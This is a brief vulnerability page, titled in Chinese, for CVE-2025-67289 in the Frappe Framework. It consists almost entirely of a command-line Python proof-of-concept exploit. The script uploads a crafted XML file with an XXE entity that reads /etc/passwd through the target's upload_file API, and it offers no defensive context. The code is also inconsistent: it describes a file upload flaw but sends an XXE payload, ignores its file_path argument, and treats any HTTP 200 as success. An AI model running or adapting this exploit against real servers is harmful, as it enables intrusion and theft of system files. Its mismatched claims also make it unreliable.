CVE-2025-67289 Frappe Framework附件模块任意文件上传漏洞

import requests import sys # CVE-2025-67289 PoC - Frappe Framework Arbitrary File Upload # Target: Frappe Framework v15.89.0 def exploit(target_url, file_path): """ Exploit arbitrary file upload in Frappe Framework Attachments module """ upload_url = f"{target_url}/api/method/upload_file" # Craft malicious XML file with embedded code malicious_content = '''<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>''' files = { 'file': ('exploit.xml', malicious_content, 'application/xml') } data = { 'doctype': 'Attachment', 'docname': 'Test' } try: response = requests.post(upload_url, files=files, data=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] exploit(target, 'malicious.xml')